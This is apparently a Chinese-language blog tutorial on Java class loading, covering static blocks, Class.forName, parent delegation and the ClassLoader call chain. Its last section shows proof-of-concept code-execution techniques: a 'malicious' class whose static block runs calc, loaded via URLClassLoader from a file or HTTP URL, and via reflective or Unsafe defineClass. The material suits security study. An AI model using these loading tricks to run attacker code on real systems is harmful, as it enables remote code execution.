类的动态加载

首先我们来了解一下构造代码块和静态代码块：Java中静态代码块、构造代码块、构造函数、普通代码块 - YSOcean - 博客园

// 静态代码块
static {
    System.out.println("静态代码块");
}

// 构造代码块
{
    System.out.println("构造代码块");
}

继上周我们重写了Person类：

package packet1;

import java.io.Serializable;

public class Person implements Serializable {
    private String name;
    private int age;
    static int id;

    public Person(){
        System.out.println("无参构造方法");
    }

    static {
        System.out.println("静态代码块");
    }

    {
        System.out.println("构造代码块");
    }

    public Person(String name, int age){
        this.name = name;
        this.age = age;
        System.out.println("有参代码块");
    }

    public static void staticFunction(){
        System.out.println("静态方法");
    }

}

我们先写一个main来实例化Person看一下结果：

看到这个结果我们可以观察到两个信息：

1. 实例化一个类后调用了静态代码块和构造代码块
2. 执行的顺序是 静态代码块->构造代码块 -> 无参构造方法

接下来我们利用反射来尝试获取类看看会发生什么：

发现只调用了静态代码块

为什么？了解一下类是怎么加载到JVM中的：

一个类从被加载到虚拟机内存中开始，到卸载出内存,它的整个生命周期包括：加载（Loading）、验证（Verification）、准备（Preparation）、解析（Resolution）、初始化（Initialization）、使用（Using）和卸载（Unloading）7个阶段。

类加载过程，以及什么是双亲委派？ - 掘金

用图来说就是这样：

重要的步骤就三步

• 加载
• 连接
• 初始化

只要初始化了就会执行静态代码块

如果实例化那么与对象相关的实例化和构造方法也会被调用

那么为什么forName会初始化类呢？我们可以看一下forName的构造函数：

其中之一的构造函数是这样

• 参数一

• • 类名

• 参数二

• • 是否初始化

• 参数三

• • 使用的类加载器

所以我们如果这样就不会初始化类了：

将initialize这个参数设置成为false，代表不进行初始化。

运行结果：

发现只是对类进行了加载，并没有初始化。

我们这样使用forName:

如果跟进forName：

这一步我们就调用了一个参数的构造方法，但是在这个构造方法里面还是会调用四个参数的构造方法。可以看见默认的initialize默认是true，因此用一个参数的构造方法默认是会初始化的，我们继续往下看是如何初始化的。

Class.forName->Class.forName0->ClassLoader.loadClass

---

继续跟进发现到了Launcher.loadClass

这些检查机制过了之后就调用super.loadClass,即 ClassLoader.loadClass,发现还是回到了ClassLoader.loadClass

---

到了这一步里面有一个判断parent!=null，这里涉及到双亲委派

双亲委派：

在逻辑加载上是这样的：

我们可以尝试获取一下当前的应用类加载器是哪一个：

运行结果是ApplicationClassLoader。

当我们运行这个程序的时候要加载Person类，它并不会马上加载，而是会委托自己的逻辑父类ExtensionClassLoader去加载，ExtensionClassLoader会委托自己的逻辑父类BootstrapClassLoader去加载，如果这两个类加载器都无法加载，那么才会自己加载。

• BootstrapClassLoader(启动类加载器)是负责加载基础的String类、java.lang类等比较基础的类。
• ExtensionClassLoader就是加载扩展类。
• AppClassLoader应用类加载器,又称为系统类加载器,负责在JVM启动时,加载来自在命令java中的classpath或者java.class.path系统属性或者CLASSPATH操作系统属性所指定的JAR类包和类路径。

那么为什么要说逻辑父类去加载？

可以看见AppClassLoader和ExtClassLoader是继承于同一个类URLClassLoader，所以在类的关系上，他们是同级。但是在双亲委派的逻辑关系上他们却是子父类

---

接下来会调用ClassLoader.findClass->URLClassLoader.findClass

这里这行代码是获取类名

---

URLClassLoader.findClass->URLClassLoader.defineClass

到了definClass里面发现已经开始创建byte数组了，其实在defineClass里面就是完成了类的加载

加载完后出来就是：

判断是否resolve（解析） 类的流程：加载、解析、初始化

return的路径：ClassLoader->LauncherLoader->ClassLoader->Class

---

小结一下：

forName的整个类的继承关系是这样的：

ClassLoader->SecureClassLoader->URLClassLoader->AppClassLoader

->ExtClassLoader

调用顺序是这样的：

loadClass->findClass(重写的方法)->defineClass(字节码加载类)

安全问题

我们如果可以利用URLClassLoader，就可以通过把恶意代码写在静态代码块里面来加载从而执行命令。

我们首先编译一个恶意的Hello类：

import java.io.IOException;

public class Hello {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

再使用一个URLClassLoader来加载这个类：

package packet1;

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class Test {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
        URLClassLoader uc = new URLClassLoader(new URL[]{new URL("file:///D:\\JAVA\\IDEA\\IntelliJ IDEA 2021.3.3\\Project\\Test\\out\\production\\Test\\packet1\\")});
        Class<?> hello = uc.loadClass("Hello");
        hello.newInstance();
    }
}

运行结果，成功弹出计算机。

但是我们这里是利用了file协议，file协议是本地协议。我们可以使用http协议

首先，我们在某个路径开启http服务:

然后修改Hello.java:

package packet1;

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class Test {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
        URLClassLoader uc = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:9999/")});
        Class<?> hello = uc.loadClass("Hello");
        hello.newInstance();
    }
}

同样可以触发计算器。

如果服务器不出网的话可以利用defineClass：

package packet1;

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Test {
    public static void main(String[] args) throws IOException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        method.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\JAVA\\IDEA\\IntelliJ IDEA 2021.3.3\\Project\\Test\\out\\production\\Test\\Hello.class"));
        Object hello = method.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);
        Class c = (Class)hello;
        c.newInstance();
    }

}

还有另一个类可以调用definClass:

package packet1;

import sun.misc.Unsafe;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Test {
    public static void main(String[] args) throws IOException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, InstantiationException, NoSuchFieldException {
        Field u = Unsafe.class.getDeclaredField("theUnsafe");
        u.setAccessible(true);
        Unsafe c = (Unsafe)u.get(null);
        byte[] code = Files.readAllBytes(Paths.get("D:\\JAVA\\IDEA\\IntelliJ IDEA 2021.3.3\\Project\\Test\\out\\production\\Test\\Hello.class"));
        Class<?> test = c.defineClass("Hello", code, 0, code.length, ClassLoader.getSystemClassLoader(), null);
        test.newInstance();

    }
}